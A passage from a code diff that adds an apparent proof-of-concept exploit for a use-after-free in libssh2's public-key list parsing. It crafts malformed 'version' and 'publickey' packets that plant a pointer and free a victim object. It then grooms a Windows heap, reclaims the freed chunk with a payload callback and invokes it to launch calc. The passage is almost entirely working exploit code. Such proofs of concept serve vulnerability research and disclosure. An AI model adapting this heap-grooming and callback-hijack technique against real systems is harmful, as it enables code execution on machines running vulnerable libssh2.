ssh2_store_u32(&p, (uint32_t)len); + memcpy(p, s, len); + return p + len; +} + +static void append_version_groom(uintptr_t attrs_ptr) +{ + size_t payload_len = 9 * sizeof(libssh2_publickey_list); + unsigned char *start = wire + wire_len; + unsigned char *payload = start + 4; + unsigned char *p; + + ssh2_htonu32(start, (uint32_t)payload_len); + memset(payload, 0, payload_len); + p = put_string(payload, "version"); + memset(p, 0, payload_len - (size_t)(p - payload)); + memcpy(payload + offsetof(libssh2_publickey_list, attrs), + &attrs_ptr, sizeof(attrs_ptr)); + wire_len += 4 + payload_len; +} + +static void append_malformed_publickey(void) +{ + unsigned char payload[64]; + unsigned char *p = payload; + + p = put_string(p, "publickey"); + p = put_string(p, "n"); + *p++ = 0; + ssh2_htonu32(wire + wire_len, (uint32_t)(p - payload)); + memcpy(wire + wire_len + 4, payload, (size_t)(p - payload)); + wire_len += 4 + (size_t)(p - payload); +} + +static int run_once(void) +{ + LIBSSH2_SESSION session; + LIBSSH2_CHANNEL channel; + LIBSSH2_PUBLICKEY pkey; + libssh2_publickey_list *list = NULL; + unsigned long num_keys = 0; + struct victim payload; + struct victim *replacement; + int rc; + + memset(&session, 0, sizeof(session)); + memset(&channel, 0, sizeof(channel)); + memset(&pkey, 0, sizeof(pkey)); + memset(&payload, 0x43, sizeof(payload)); + + stale_victim = app_alloc_raw(sizeof(*stale_victim)); + if(!stale_victim) + return 70; + memset(stale_victim, 0x42, sizeof(*stale_victim)); + stale_victim->cb = safe_callback; + + payload.cb = launch_calc_callback; + + fprintf(stderr, + "victim=%p victim_size=%llu replacement_callback=%p list_entry_size=%llu attrs_off=%llu\n", + stale_victim, (unsigned long long)sizeof(*stale_victim), + launch_calc_callback, + (unsigned long long)sizeof(libssh2_publickey_list), + (unsigned long long)offsetof(libssh2_publickey_list, attrs)); + + { + void *small_prime = app_alloc_raw(19); + small_guard = app_alloc_raw(64); + fprintf(stderr, "small_prime=%p size=19 small_guard=%p size=64\n", + small_prime, small_guard); + app_free_raw(small_prime); + } + + session.alloc = app_alloc; + session.free = app_free; + session.realloc = app_realloc; + channel.session = &session; + pkey.channel = &channel; + pkey.version = 2; + + append_version_groom((uintptr_t)stale_victim); + append_malformed_publickey(); + + rc = libssh2_publickey_list_fetch(&pkey, &num_keys, &list); + fprintf(stderr, + "fetch rc=%d num_keys=%lu victim_freed=%d heap_free_failures=%lu\n", + rc, num_keys, victim_freed, heap_free_failures); + + replacement = app_alloc_raw(sizeof(*replacement)); + fprintf(stderr, "replacement=%p same_as_victim=%d\n", replacement, + replacement == stale_victim); + if(replacement) + memcpy(replacement, &payload, sizeof(payload)); + + fprintf(stderr, "triggering_stale_callback cb=%p\n", stale_victim->cb); + stale_victim->cb(); + + return victim_freed ? 2 : 0; +} + +int main(int argc, char **argv) +{ + if(argc > 1 && !strcmp(argv[1], "calc")) + launch_real_calc = 1; + + app_heap = HeapCreate(0, 0, 0); + if(!app_heap) + return 69; + + return run_once(); +}